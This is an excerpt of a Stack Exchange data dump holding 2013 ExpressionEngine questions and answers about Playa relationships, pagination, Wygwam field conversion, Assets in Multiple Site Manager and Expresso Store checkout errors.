  <row Id="8873" PostTypeId="2" ParentId="8871" CreationDate="2013-03-31T19:05:34.037" Score="1" Body="&lt;p&gt;You can turn off all track from Admin &gt; Security &amp;amp; Privacy &gt; Tracking preferences. From here you can choose to turn off template tracking, online user tracking and channel entry tracking. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;On high traffic sites this could help to improve performance but in most cases it probably wont make too much difference.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-03-31T19:05:34.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8874" PostTypeId="1" AcceptedAnswerId="8882" CreationDate="2013-03-31T20:07:34.917" Score="1" ViewCount="216" Body="&lt;p&gt;To set the stage, I've got 3 Channels:  Agenda, Sessions, and Speakers, with a breakdown of the custom field types as follows.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Agenda contains a Matrix field with 3 columns - the start time, end time, and a Playa field to select the session to add to the time slot&lt;/li&gt;&#xA;&lt;li&gt;Sessions contains a title and description field along with a Playa field to choose the Speaker(s) for that session&lt;/li&gt;&#xA;&lt;li&gt;Speaker contains several custom fields that describe the speaker.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I'm trying to create the Agenda, and read about a few different options.  This is what I have so far, but obviously it's not working.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;agenda&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; show_future_entries=&quot;yes&quot; }&#xA;&amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;{agenda_description}&#xA;&amp;lt;h3&amp;gt;{agenda_date_monday format=&quot;%l, %F %j&quot;}&amp;lt;/h3&amp;gt;&#xA;{agenda_monday}&#xA;&amp;lt;div class=&quot;details_left&quot;&amp;gt;{am_start_time format=&quot;%g:%i%a&quot;} - {am_end_time format=&quot;%g:%i%a&quot;}&amp;lt;/div&amp;gt;&#xA;&amp;lt;div class=&quot;details_right&quot;&amp;gt;&#xA;    {am_session}&amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path={channel_short_name}/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;        {session_speakers}&#xA;          &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;        {/session_speakers}&#xA;    {/am_session}&#xA;&amp;lt;/div&amp;gt;&#xA;{/agenda_monday}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks for any suggestions, and please feel free to ask clarifying questions!&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-04-01T14:02:26.267" Title="Matrix with a Playa field which has a Playa Field" Tags="|matrix|playa|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8875" PostTypeId="2" ParentId="7710" CreationDate="2013-03-31T20:08:46.423" Score="1" Body="&lt;p&gt;I contacted Ellislab to look at this, and they couldn't figure it out either.  So I finally opted to rebuild it from my last backup (note to self, take more frequent backups!!)&lt;/p&gt;&#xA;" OwnerUserId="284" LastActivityDate="2013-03-31T20:08:46.423" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8876" PostTypeId="1" CreationDate="2013-03-31T23:55:21.973" Score="1" ViewCount="86" Body="&lt;p&gt;I'm prepping a large EE1.7 site (many, many entries) currently using MD Markitup fields with Textile by converting the content fields to Wygwam so when I upgrade the site to EE2 they're all set. I'm trying to switch the fields one at a time to Wygwam 2.7 and converting the textile content. When I make the change on the edit field page and click &quot;update&quot; the page is hanging for a long time and then goes blank. When I go back to check the field settings the field is still using the previous setting. Is there another way to convert the content?&lt;/p&gt;&#xA;" OwnerUserId="669" LastActivityDate="2013-04-01T00:38:37.033" Title="conversion to wygwam field is hanging in ExpressionEngine 1.7" Tags="|wygwam|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8877" PostTypeId="2" ParentId="8876" CreationDate="2013-04-01T00:38:37.033" Score="1" Body="&lt;p&gt;I do not have experience converting the MD fields to WYGWAM-friendly fields but here are a couple of ways to troubleshoot this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The first way involves upgrading to EE 2 by changing all of those MD fields to plain old textarea's (preferably with some SQL) then proceeding with the EE 2 upgrade. This lets you use the latest version of WYGWAM in EE2. Once the site upgraded you can use some SQL to update all of those old textarea's to WYGWAM and go from there.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, If you would prefer to do this in EE 1 first, it sounds like you are running into a PHP memory issue if you are getting a blank screen. Try upping PHP's memory allotment. A simple adjustment to the .htaccess:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;php_value memory_limit 128M&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Lastly, if you're interested in some more EE 1 =&gt; EE 2 upgrade tips, &lt;a href=&quot;https://expressionengine.stackexchange.com/questions/1322/ee1-to-ee2-upgrade/1324#1324&quot;&gt;you can see this answer as well&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="219" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.780" LastActivityDate="2013-04-01T00:38:37.033" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8878" PostTypeId="2" ParentId="8776" CreationDate="2013-04-01T12:06:31.453" Score="1" Body="&lt;p&gt;Thanks for the answers guy's! In the end i went super simple and just renamed my xml file to site-map.xml.&lt;/p&gt;&#xA;" OwnerUserId="68" LastActivityDate="2013-04-01T12:06:31.453" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8879" PostTypeId="2" ParentId="8866" CreationDate="2013-04-01T12:54:29.697" Score="1" Body="&lt;p&gt;If the images are there and the filetype is that of a regular PNG then the chances are this is just Assets checking to be extra sure you want to still have those images recognised.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&lt;strong&gt;Firstly, ensure that you have ALL images and the database backed-up&lt;/em&gt;&lt;/strong&gt; just to be sure. Then hit the delete button. This is just to delete Assets' record of the file. Afterwards you should still have all of your images in place and the indexing should tell you it is complete. Your images should appear in your entries again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: Just to point out that I'm not official support for Assets and anything involving hitting delete buttons is always risky which is why I say to have a solid backup in advance so you can recover if all else fails. I can't be held responsible for any loss of data as a result of following this advice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Having said the above though I'm pretty sure that you'll find this solves the issue and the images themselves or associations will still be there. If you'd rather wait for one of the official support reps to hop on and check with them than that's fine. :)&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-01T12:54:29.697" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8880" PostTypeId="1" CreationDate="2013-04-01T13:04:00.710" Score="0" ViewCount="84" Body="&lt;p&gt;I have Playa installed on a clients site.&#xA;Playa 4.3.3 EE 2.5.5&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site was recently upgraded from EE 1.7.3&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Everything works fine in the CP and publish forms.&#xA;Data is logging correctly in the exp_playa_relationships table.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is a very simple example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;{exp:channel:entries channel=&quot;pages&quot; entry_id=&quot;15974|14488&quot; }&#xA;&amp;lt;li&amp;gt;{title}&#xA;{if promos != &quot;&quot;}&#xA;we have some data &#xA;{/if}&#xA;{promos}&#xA;{promos-heading}&#xA;{/promos}&#xA;&amp;lt;/li&amp;gt;&#xA;{/exp:channel:entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get the message from the conditional, so the channel entries loop is finding data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a test I installed Playa in a dev environment, and of course all works as expected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas what went south?  Any ee 1=&gt;2 upgrade gotchas to look out for?&lt;/p&gt;&#xA;" OwnerUserId="315" LastActivityDate="2013-04-01T13:04:00.710" Title="Playa not returning data in template" Tags="|playa|pixelandtonic|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="8881" PostTypeId="2" ParentId="8867" CreationDate="2013-04-01T13:17:48.860" Score="1" Body="&lt;p&gt;Rather than write out every option have you tried a tag pair for the the name of your field?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select name=&quot;my_field_name&quot; id=&quot;my_field_name&quot;&amp;gt;&#xA;    {options:my_field_name}&#xA;            &amp;lt;option value=&quot;{option_value}&quot;{selected}&amp;gt;{option_name}&amp;lt;/option&amp;gt;&#xA;    {/options:my_field_name}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Off the top of my head I'm not sure how this would handle your groups though, I'm sure it's possible but give that a try and see if it yields any results first. That should go some way to solving the error too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the values because you're posting the page it will reset all field values so you can just retain the values by setting it in the value attribute like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;value=&quot;{field_name}&quot; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;i.e. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;text&quot; class=&quot;span8&quot; name=&quot;address[row_new_0][col_id_4]&quot; value=&quot;{field_name}&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where {field_name} is the name of your field.&lt;/p&gt;&#xA;" OwnerUserId="422" LastActivityDate="2013-04-01T13:17:48.860" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8882" PostTypeId="2" ParentId="8874" CreationDate="2013-04-01T14:02:26.267" Score="1" Body="&lt;p&gt;As per the &lt;a href=&quot;http://pixelandtonic.com/playa/docs/nested-relationships&quot; rel=&quot;nofollow&quot;&gt;Playa docs on nested relationships&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If you need to access a Playa field from within another Playa field,&#xA;  the only way to go about that is through an embedded template:&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So in your case:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;agenda&quot; dynamic=&quot;no&quot; limit=&quot;1&quot; show_future_entries=&quot;yes&quot; }&#xA;    &amp;lt;h1&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;    {agenda_description}&#xA;    &amp;lt;h3&amp;gt;{agenda_date_monday format=&quot;%l, %F %j&quot;}&amp;lt;/h3&amp;gt;&#xA;    {agenda_monday}&#xA;        &amp;lt;div class=&quot;details_left&quot;&amp;gt;{am_start_time format=&quot;%g:%i%a&quot;} - {am_end_time format=&quot;%g:%i%a&quot;}&amp;lt;/div&amp;gt;&#xA;        &amp;lt;div class=&quot;details_right&quot;&amp;gt;&#xA;            {embed=&quot;agenda/_session_listing&quot; entry_ids=&quot;{am_session:child_ids}&quot;}&#xA;        &amp;lt;/div&amp;gt;&#xA;    {/agenda_monday}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in &lt;strong&gt;agenda/_session_listing&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;sessions&quot; fixed_order=&quot;0|{embed:entry_ids}&quot; dynamic=&quot;no&quot; disable=member_data|pagination|categories&quot;}&#xA;    &amp;lt;h4&amp;gt;&amp;lt;a href=&quot;{path={channel_short_name}/{url_title}}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/h4&amp;gt;&#xA;    {session_speakers}&#xA;        &amp;lt;p&amp;gt;{title}&amp;lt;/p&amp;gt;&#xA;    {/session_speakers}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Another tip: instead of using &lt;code&gt;{path={channel_short_name}/{url_title}}&lt;/code&gt;, consider using &lt;code&gt;{comment_url_title_auto_path}&lt;/code&gt; (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#comment-url-title-auto-path&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt;).&lt;/p&gt;&#xA;" OwnerUserId="55" LastActivityDate="2013-04-01T14:02:26.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8883" PostTypeId="1" AcceptedAnswerId="8884" CreationDate="2013-04-01T14:39:20.377" Score="1" ViewCount="238" Body="&lt;p&gt;How do you output category info within the:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;{exp:search:search_results}&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;tag pair?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case I want to display the category name.&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-04-01T15:03:34.477" Title="Displaying Category Type in Search Results Tag Pair" Tags="|search|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8884" PostTypeId="2" ParentId="8883" CreationDate="2013-04-01T15:03:34.477" Score="1" Body="&lt;p&gt;Just about all the variables available in the channel:entries tag pair are available in search results as well - have you tried just using the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot; rel=&quot;nofollow&quot;&gt;categories tag pair&lt;/a&gt;?&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-01T15:03:34.477" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8885" PostTypeId="1" CreationDate="2013-04-01T15:12:43.593" Score="1" ViewCount="158" Body="&lt;p&gt;Im building a ticketing system with expresso store and I'm having issues duplicating the product modifier. My custom modifier is a text input field that adds a name to each ticket.&#xA;Any Ideas on what would be the best way to go about this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;here is my product template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {embed=&quot;store_example/_header&quot;}&#xA;&amp;lt;script type=&quot;text/javascript&quot;&amp;gt; &#xA;function repeat(obj) {&#xA;    var CurrentLi = $(obj).parent(&quot;li&quot;).append();&#xA;    CurrentLi.clone().insertAfter(CurrentLi);&#xA;}&#xA;&amp;lt;/script&amp;gt;&#xA;{exp:store:product_form }&#xA;&amp;lt;div class=&quot;ticket-wrap&quot;&amp;gt;&#xA;    {exp:channel:entries channel=&quot;tickets&quot;  }&#xA;        {exp:store:product entry_id=&quot;{entry_id}&quot; disable_form=&quot;yes&quot;}&#xA;        &amp;lt;p&amp;gt;Ticket Price: {price}&amp;lt;/p&amp;gt;&#xA;        &amp;lt;div class=&quot;ticket&quot;&amp;gt;&#xA;            {modifiers}&#xA;                &amp;lt;ul&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;label&amp;gt;{modifier_name} {count} &amp;lt;/label&amp;gt;&amp;lt;input type=&quot;text&quot;  name=&quot;items[{count}][{modifier_input_name}]&quot; /&amp;gt; &amp;lt;a class=&quot;add&quot; href=&quot;#&quot; onclick=&quot;repeat(this)&quot;&amp;gt;+&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;li&amp;gt;&amp;lt;input type=&quot;hidden&quot; name=&quot;items[{count}][entry_id]&quot; value=&quot;{entry_id}&quot; /&amp;gt;&amp;lt;/li&amp;gt;&#xA;                &amp;lt;/ul&amp;gt;&#xA;            {/modifiers}&#xA;        &amp;lt;/div&amp;gt;&amp;lt;!-- /ticket --&amp;gt;&#xA;        {/exp:store:product}&#xA;    {/exp:channel:entries}&#xA;&amp;lt;/div&amp;gt; &amp;lt;!-- /ticket-wrap --&amp;gt;&#xA;&amp;lt;input type=&quot;submit&quot; name=&quot;submit&quot; value=&quot;Add to Cart&quot; /&amp;gt;&#xA;{/exp:store:product_form}&#xA;{embed=&quot;store_example/_cart&quot;}&#xA;{embed=&quot;store_example/_footer&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="295" LastEditorUserId="295" LastEditDate="2013-04-01T18:01:23.320" LastActivityDate="2015-11-14T06:03:36.123" Title="Using the product form tag and javascript to duplicate a product modifier field" Tags="|expresso-store|ecommerce|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8886" PostTypeId="2" ParentId="8785" CreationDate="2013-04-01T15:36:30.907" Score="1" Body="&lt;p&gt;Ok, I got this working. Some how the template synch tool had created multiple versions of the same template group in the database. I usually don't check the ui for template groups but when I did it reared it's head. It was really weird because only one version of the search folder was in my codebase but three redundant versions where in the db.&lt;/p&gt;&#xA;" OwnerUserId="1116" LastActivityDate="2013-04-01T15:36:30.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8887" PostTypeId="1" CreationDate="2013-04-01T15:42:44.450" Score="0" ViewCount="61" Body="&lt;p&gt;I came up with this odd issue. If i surf around my forum as usual, LikEE works, but when i come from outside of the site, or click internal links in forums,&#xA;this wont work:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{exp:likee:js skip_jquery=&quot;true&quot;}&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The javascript wont come, and the tag itself shows as is, in the sourcecode.&#xA;Because i dont know the actual java, i cant &quot;hardcode&quot; it into end of the head-tag, neither i dont know if that even work then, because dont know how LikEE actual works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this should be and have done into channels, but i just cant see why it wont work nicely in forums also.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And i do not use this with all posts, just if there is attachment in first post. (yep, i know, if someone replies and add another attachment, then all replies between first and last post has like - dislike buttons).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But somehow i have feeling that there might be a way to get this working with forums also? Any ideas or has someone even tried this?&lt;/p&gt;&#xA;" OwnerUserId="1242" LastActivityDate="2013-04-01T17:35:54.453" Title="LikEE js wont work in the following" Tags="|add-on|forum|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8888" PostTypeId="1" AcceptedAnswerId="8890" CreationDate="2013-04-01T15:46:01.337" Score="0" ViewCount="445" Body="&lt;p&gt;I have this code that is not working as expected. No First or last or prev links will display...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{paginate}&#xA;                            {pagination_links}&#xA;                            &amp;lt;!-- post pagination --&amp;gt;&#xA;                            &amp;lt;nav class=&quot;post-pagination&quot;&amp;gt;&#xA;                                &amp;lt;ul class=&quot;pagination&quot;&amp;gt;&#xA;                                {first_page}&#xA;                                    &amp;lt;li class=&quot;pagination-first&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; rel=&quot;first&quot;&amp;gt; First &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                                {/first_page}&#xA;                                {previous_page}&#xA;                                &amp;lt;li class=&quot;pagination-prev&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; rel=&quot;prev&quot;&amp;gt; « &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/previous_page}&#xA;                            {page}&#xA;                                &amp;lt;li class=&quot;pagination-num {if current_page}current{/if}&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt; {pagination_page_number} &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/page}&#xA;                            {next_page}&#xA;                                &amp;lt;li class=&quot;pagination-next&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; rel=&quot;next&quot;&amp;gt; » &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/next_page}&#xA;                            {last_page}&#xA;                                &amp;lt;li class=&quot;pagination-last&quot;&amp;gt;&amp;lt;a href=&quot;{pagination_url}&quot; rel=&quot;last&quot;&amp;gt; Last &amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                            {/last_page}&#xA;                            &amp;lt;/ul&amp;gt;&#xA;                        &amp;lt;/nav&amp;gt;&#xA;                        &amp;lt;!-- post pagination --&amp;gt;&#xA;                        {/pagination_links}&#xA;                        {/paginate}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I get this on the front end ... see attached. Any help would be appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/pt8F2.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1068" LastActivityDate="2013-04-01T16:01:21.537" Title="Displaying First and Last in Pagination" Tags="|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8889" PostTypeId="1" CreationDate="2013-04-01T15:59:38.483" Score="1" ViewCount="150" Body="&lt;p&gt;I am having an issue adding an iframe tag to a textarea field. The field is configured to accept XHTML. Any ideas on what could be causing the issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;e.g.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;lt;iframe id=&quot;xtranormal_So, have you heard about Montana Conservation Corps?&quot; name=&quot;xtranormal_So, have you heard about Montana Conservation Corps?&quot;  src=&quot;http://www.xtranormal.com/xtraplayr/13045605/so-have-you-heard-about-montana-conservation-corps&quot; marginwidth=&quot;0&quot; marginheight=&quot;0&quot; border=&quot;0&quot; frameborder=&quot;0&quot; scrolling=&quot;auto&quot;&amp;amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I am running EE v2.5.0&lt;/p&gt;&#xA;" OwnerUserId="944" LastActivityDate="2013-04-01T17:16:39.850" Title="Textarea Turning Iframe Tags into Special Characters" Tags="|video|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8890" PostTypeId="2" ParentId="8888" CreationDate="2013-04-01T16:00:59.973" Score="1" Body="&lt;p&gt;First and last links in pagination appear only when there are at least 4 pages of entries.  It's not in the main documentation but it's included in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/pagination_page.html&quot; rel=&quot;nofollow&quot;&gt;user-contributed notes in the docs&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="20" LastActivityDate="2013-04-01T16:00:59.973" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8891" PostTypeId="2" ParentId="8888" CreationDate="2013-04-01T16:01:21.537" Score="0" Body="&lt;p&gt;ExpressionEngine usually shows 3 pages. If there are more page than 3, then it will display &quot;First&quot; and &quot;last&quot;. In your case, it seems there is only 2 pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can check it by decreasing the limit value.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-01T16:01:21.537" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8892" PostTypeId="2" ParentId="8889" CreationDate="2013-04-01T17:16:39.850" Score="1" Body="&lt;p&gt;You should select &quot;None&quot; for &quot;Default Text Formatting&quot; under the field options.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It would work for you.&lt;/p&gt;&#xA;" OwnerUserId="872" LastActivityDate="2013-04-01T17:16:39.850" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8893" PostTypeId="2" ParentId="8887" CreationDate="2013-04-01T17:35:54.453" Score="1" Body="&lt;p&gt;Most add-ons that work on the rest of the site do not work in the forums module as the forum templates are not typically sent through the EE template engine. You do have the option of running the forums through standard EE templates as mention in the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/forum/other_features.html#running-the-forums-through-regular-templates&quot; rel=&quot;nofollow&quot;&gt;docs&lt;/a&gt; but even then not every add-on works properly.&lt;/p&gt;&#xA;" OwnerUserId="115" LastActivityDate="2013-04-01T17:35:54.453" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="8894" PostTypeId="1" CreationDate="2013-04-01T18:41:37.813" Score="1" ViewCount="132" Body="&lt;p&gt;When I choose to copy everything with MSM in order to create a new site, the Assets plugin file meta-data is not copied over. I was hoping that the images in the Assets plugin would be available for all sites, or at a bare minimum, when copying a site, the ones from the original site would be copied in the DB so that the new site would not have all images broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anyone done anything more elegant than fixing them one by one?&#xA;I figured someone has run into this and has an update statement that could get me started to duplicate all the meta data associated with each file in the DB.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oddities of note:  I am setting the $config['upload_preferences'] array in my config file and have not followed the MSM documentation on creating separate vhosts and folder trees for additional sites, choosing instead to set the specific values MSM requires in index.php and admin.php conditionally on $_SERVER['SERVER_NAME'].  I also have all of my assets in a symlink folder so all the sites can use the same path.  Hopefully none of those implementation details are a factor.&lt;/p&gt;&#xA;" OwnerUserId="1270" LastActivityDate="2013-04-01T19:25:43.863" Title="Assets plugin has no files in Multiple Site Manager 2nd site" Tags="|assets|multi-site-manager|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="8895" PostTypeId="1" CreationDate="2013-04-01T18:59:57.757" Score="5" ViewCount="978" Body="&lt;p&gt;I am getting &quot;Invalid payment method&quot; error from Store, even though the payment method I have set on the for is a valid and activated payment method configured within Store.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In this case, I am using the Stripe payment method, with:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Name: Stripe&#xA;Short Name: stripe&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My tag looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    {exp:store:checkout &#xA;        next=&quot;cart/confirmation&quot;&#xA;        return=&quot;cart/confirmation&quot; &#xA;        form_class=&quot;lj-form lj-same-addresses&quot;&#xA;        require=&quot;name|address1|region|country|postcode|payment&quot;&#xA;        payment_method=&quot;stripe&quot;}&#xA;      ...&#xA;    {/exp:store:checkout &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What could be causing this error to show up?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit:&lt;/strong&gt; After some investigation, somehow it appears that the payment method is being changed to &quot;manual&quot;. Still digging.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 2:&lt;/strong&gt; Okay, the manual issue and the &quot;Invalid payment method&quot; were caused by using some sample code that had the manual payment method thing hard coded as a hidden input.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now what's happening instead is that I'm sent back to the checkout page without any error appearing. I have inline errors turned off.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Edit 3:&lt;/strong&gt; Traced this down to an API error from Stripe. It returned the following error, but with inline errors off, Store did not display it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &quot;error&quot;: {&#xA;    &quot;message&quot;: &quot;Your card was declined. Your request was in test mode, but used a non test card. For a list of valid test cards, visit: https://stripe.com/docs/testing&quot;,&#xA;    &quot;type&quot;: &quot;card_error&quot;,&#xA;    &quot;code&quot;: &quot;card_declined&quot;,&#xA;    &quot;charge&quot;: &quot;ch_1ZMhyw6xhWwp3R&quot;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So in this case I used one of their recommended test cards and it worked, but that doesn't solve the problem with Store, which is that it doesn't appear to display error messages returned from (some?) APIs in some cases. I had to hack a call to show_error() into Merchant_stripe_response::__construct to get it to show up:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;elseif (isset($this-&amp;gt;_response-&amp;gt;error))&#xA;{&#xA;    $this-&amp;gt;_status = self::FAILED;&#xA;    show_error($this-&amp;gt;_response-&amp;gt;error-&amp;gt;message);exit;&#xA;    $this-&amp;gt;_message = $this-&amp;gt;_response-&amp;gt;error-&amp;gt;message;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here's a link to my full template: &lt;a href=&quot;http://pastebin.com/5zrnQvJN&quot;&gt;http://pastebin.com/5zrnQvJN&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="131" LastEditorUserId="131" LastEditDate="2013-04-01T19:59:07.687" LastActivityDate="2018-02-08T17:23:21.320" Title="Invalid payment method" Tags="|expresso-store|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="8897" PostTypeId="2" ParentId="8894" CreationDate="2013-04-01T19:25:43.863" Score="1" Body="&lt;p&gt;Jared, &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data for those add-ons will not be copied; only the structure. We'd need a well placed hook in the MSM to be able to copy the data over as well.  So definitely some database finagling if you want to copy that data over.&lt;/p&gt;&#xA;" OwnerUserId="563" LastActivityDate="2013-04-01T19:25:43.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
